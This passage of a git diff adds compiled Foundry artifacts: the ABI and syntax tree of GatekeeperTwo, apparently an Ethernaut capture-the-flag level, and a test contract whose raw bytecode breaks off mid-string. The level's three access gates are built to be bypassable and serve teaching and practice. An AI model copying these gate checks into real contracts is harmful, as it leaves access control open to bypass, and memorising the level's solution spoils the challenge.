bytes8"}],"stateMutability":"nonpayable","type":"function","name":"enter","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"entrant","outputs":[{"internalType":"address","name":"","type":"address"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/GatekeeperTwo.sol":"GatekeeperTwo"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/GatekeeperTwo.sol":{"keccak256":"0x8ead9cd2035c04cc27a3e58f4d0c2b67279668354f87ebfccd0bec8580b9b2f3","urls":["bzz-raw://32a70f3e50165369d1febe0fb8f748cb83616fec2cecf76062dcf6b758331a92","dweb:/ipfs/Qmd6cEi9rVPF2JRFAc97xmAoTe4Fv5HecERQuhjaYUpHsd"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/GatekeeperTwo.sol","id":53012,"exportedSymbols":{"GatekeeperTwo":[53011]},"nodeType":"SourceUnit","src":"32:646:85","nodes":[{"id":52927,"nodeType":"PragmaDirective","src":"32:23:85","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":53011,"nodeType":"ContractDefinition","src":"57:620:85","nodes":[{"id":52929,"nodeType":"VariableDeclaration","src":"86:22:85","nodes":[],"constant":false,"functionSelector":"9db31d77","mutability":"mutable","name":"entrant","nameLocation":"101:7:85","scope":53011,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52928,"name":"address","nodeType":"ElementaryTypeName","src":"86:7:85","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":52941,"nodeType":"ModifierDefinition","src":"115:79:85","nodes":[],"body":{"id":52940,"nodeType":"Block","src":"134:60:85","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":52936,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":52932,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"152:3:85","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":52933,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"156:6:85","memberName":"sender","nodeType":"MemberAccess","src":"152:10:85","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"expression":{"id":52934,"name":"tx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-26,"src":"166:2:85","typeDescriptions":{"typeIdentifier":"t_magic_transaction","typeString":"tx"}},"id":52935,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"169:6:85","memberName":"origin","nodeType":"MemberAccess","src":"166:9:85","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"152:23:85","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":52931,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"144:7:85","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":52937,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"144:32:85","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":52938,"nodeType":"ExpressionStatement","src":"144:32:85"},{"id":52939,"nodeType":"PlaceholderStatement","src":"186:1:85"}]},"name":"gateOne","nameLocation":"124:7:85","parameters":{"id":52930,"nodeType":"ParameterList","parameters":[],"src":"131:2:85"},"virtual":false,"visibility":"internal"},{"id":52955,"nodeType":"ModifierDefinition","src":"200:149:85","nodes":[],"body":{"id":52954,"nodeType":"Block","src":"219:130:85","nodes":[],"statements":[{"assignments":[52944],"declarations":[{"constant":false,"id":52944,"mutability":"mutable","name":"x","nameLocation":"237:1:85","nodeType":"VariableDeclaration","scope":52954,"src":"229:9:85","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":52943,"name":"uint256","nodeType":"ElementaryTypeName","src":"229:7:85","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":52945,"nodeType":"VariableDeclarationStatement","src":"229:9:85"},{"AST":{"nativeSrc":"257:50:85","nodeType":"YulBlock","src":"257:50:85","statements":[{"nativeSrc":"271:26:85","nodeType":"YulAssignment","src":"271:26:85","value":{"arguments":[{"arguments":[],"functionName":{"name":"caller","nativeSrc":"288:6:85","nodeType":"YulIdentifier","src":"288:6:85"},"nativeSrc":"288:8:85","nodeType":"YulFunctionCall","src":"288:8:85"}],"functionName":{"name":"extcodesize","nativeSrc":"276:11:85","nodeType":"YulIdentifier","src":"276:11:85"},"nativeSrc":"276:21:85","nodeType":"YulFunctionCall","src":"276:21:85"},"variableNames":[{"name":"x","nativeSrc":"271:1:85","nodeType":"YulIdentifier","src":"271:1:85"}]}]},"evmVersion":"shanghai","externalReferences":[{"declaration":52944,"isOffset":false,"isSlot":false,"src":"271:1:85","valueSize":1}],"id":52946,"nodeType":"InlineAssembly","src":"248:59:85"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":52950,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":52948,"name":"x","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52944,"src":"324:1:85","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":52949,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"329:1:85","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"324:6:85","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":52947,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"316:7:85","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":52951,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"316:15:85","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":52952,"nodeType":"ExpressionStatement","src":"316:15:85"},{"id":52953,"nodeType":"PlaceholderStatement","src":"341:1:85"}]},"name":"gateTwo","nameLocation":"209:7:85","parameters":{"id":52942,"nodeType":"ParameterList","parameters":[],"src":"216:2:85"},"virtual":false,"visibility":"internal"},{"id":52988,"nodeType":"ModifierDefinition","src":"355:167:85","nodes":[],"body":{"id":52987,"nodeType":"Block","src":"391:131:85","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint64","typeString":"uint64"},"id":52983,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint64","typeString":"uint64"},"id":52977,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"expression":{"id":52967,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"450:3:85","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":52968,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"454:6:85","memberName":"sender","nodeType":"MemberAccess","src":"450:10:85","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":52965,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"433:3:85","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":52966,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"437:12:85","memberName":"encodePacked","nodeType":"MemberAccess","src":"433:16:85","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":52969,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"433:28:85","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":52964,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"423:9:85","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":52970,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"423:39:85","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":52963,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"416:6:85","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes8_$","typeString":"type(bytes8)"},"typeName":{"id":52962,"name":"bytes8","nodeType":"ElementaryTypeName","src":"416:6:85","typeDescriptions":{}}},"id":52971,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"416:47:85","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes8","typeString":"bytes8"}],"id":52961,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"409:6:85","typeDescriptions":{"typeIdentifier":"t_type$_t_uint64_$","typeString":"type(uint64)"},"typeName":{"id":52960,"name":"uint64","nodeType":"ElementaryTypeName","src":"409:6:85","typeDescriptions":{}}},"id":52972,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"409:55:85","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"nodeType":"BinaryOperation","operator":"^","rightExpression":{"arguments":[{"id":52975,"name":"_gateKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52957,"src":"474:8:85","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes8","typeString":"bytes8"}],"id":52974,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"467:6:85","typeDescriptions":{"typeIdentifier":"t_type$_t_uint64_$","typeString":"type(uint64)"},"typeName":{"id":52973,"name":"uint64","nodeType":"ElementaryTypeName","src":"467:6:85","typeDescriptions":{}}},"id":52976,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"467:16:85","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"src":"409:74:85","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"arguments":[{"id":52980,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"492:6:85","typeDescriptions":{"typeIdentifier":"t_type$_t_uint64_$","typeString":"type(uint64)"},"typeName":{"id":52979,"name":"uint64","nodeType":"ElementaryTypeName","src":"492:6:85","typeDescriptions":{}}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_type$_t_uint64_$","typeString":"type(uint64)"}],"id":52978,"name":"type","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-27,"src":"487:4:85","typeDescriptions":{"typeIdentifier":"t_function_metatype_pure$__$returns$__$","typeString":"function () pure"}},"id":52981,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"487:12:85","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_magic_meta_type_t_uint64","typeString":"type(uint64)"}},"id":52982,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"500:3:85","memberName":"max","nodeType":"MemberAccess","src":"487:16:85","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"src":"409:94:85","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":52959,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"401:7:85","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":52984,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"401:103:85","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":52985,"nodeType":"ExpressionStatement","src":"401:103:85"},{"id":52986,"nodeType":"PlaceholderStatement","src":"514:1:85"}]},"name":"gateThree","nameLocation":"364:9:85","parameters":{"id":52958,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52957,"mutability":"mutable","name":"_gateKey","nameLocation":"381:8:85","nodeType":"VariableDeclaration","scope":52988,"src":"374:15:85","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"},"typeName":{"id":52956,"name":"bytes8","nodeType":"ElementaryTypeName","src":"374:6:85","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}},"visibility":"internal"}],"src":"373:17:85"},"virtual":false,"visibility":"internal"},{"id":53010,"nodeType":"FunctionDefinition","src":"528:147:85","nodes":[],"body":{"id":53009,"nodeType":"Block","src":"618:57:85","nodes":[],"statements":[{"expression":{"id":53005,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53002,"name":"entrant","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52929,"src":"628:7:85","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":53003,"name":"tx","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-26,"src":"638:2:85","typeDescriptions":{"typeIdentifier":"t_magic_transaction","typeString":"tx"}},"id":53004,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"641:6:85","memberName":"origin","nodeType":"MemberAccess","src":"638:9:85","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"628:19:85","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53006,"nodeType":"ExpressionStatement","src":"628:19:85"},{"expression":{"hexValue":"74727565","id":53007,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"664:4:85","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":53001,"id":53008,"nodeType":"Return","src":"657:11:85"}]},"functionSelector":"3370204e","implemented":true,"kind":"function","modifiers":[{"id":52993,"kind":"modifierInvocation","modifierName":{"id":52992,"name":"gateOne","nameLocations":["567:7:85"],"nodeType":"IdentifierPath","referencedDeclaration":52941,"src":"567:7:85"},"nodeType":"ModifierInvocation","src":"567:7:85"},{"id":52995,"kind":"modifierInvocation","modifierName":{"id":52994,"name":"gateTwo","nameLocations":["575:7:85"],"nodeType":"IdentifierPath","referencedDeclaration":52955,"src":"575:7:85"},"nodeType":"ModifierInvocation","src":"575:7:85"},{"arguments":[{"id":52997,"name":"_gateKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52990,"src":"593:8:85","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}}],"id":52998,"kind":"modifierInvocation","modifierName":{"id":52996,"name":"gateThree","nameLocations":["583:9:85"],"nodeType":"IdentifierPath","referencedDeclaration":52988,"src":"583:9:85"},"nodeType":"ModifierInvocation","src":"583:19:85"}],"name":"enter","nameLocation":"537:5:85","parameters":{"id":52991,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52990,"mutability":"mutable","name":"_gateKey","nameLocation":"550:8:85","nodeType":"VariableDeclaration","scope":53010,"src":"543:15:85","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"},"typeName":{"id":52989,"name":"bytes8","nodeType":"ElementaryTypeName","src":"543:6:85","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}},"visibility":"internal"}],"src":"542:17:85"},"returnParameters":{"id":53001,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53000,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53010,"src":"612:4:85","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":52999,"name":"bool","nodeType":"ElementaryTypeName","src":"612:4:85","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"611:6:85"},"scope":53011,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"GatekeeperTwo","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[53011],"name":"GatekeeperTwo","nameLocation":"66:13:85","scope":53012,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":85} \ No newline at end of file diff --git a/contracts/out/GatekeeperTwo.t.sol/TestGatekeeperTwo.json b/contracts/out/GatekeeperTwo.t.sol/TestGatekeeperTwo.json new file mode 100644 index 000000000..fe2819986 --- /dev/null +++ b/contracts/out/GatekeeperTwo.t.sol/TestGatekeeperTwo.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b50616376806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b60565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001ba3565b620001b3620001fa36600462001c8f565b62000a2b565b6200020a62000bf6565b604051620001c7919062001d62565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c7919062001e25565b620001da6200025736600462001ef2565b62000ef8565b6200019a62001088565b62000271620011fd565b604051620001c7919062001f0a565b620001b36200029136600462001f70565b620012d2565b62000237620013f1565b620002b8620002b236600462001f8e565b620014eb565b6040519015158152602001620001c7565b620002716200167b565b6200019a62001750565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b8620017e9565b620001da620018bd565b6200019a6200032f36600462001ef2565b6200191d565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f8151811062000367576200036762001fca565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001fca565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b03169050620012d2565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001b05565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d7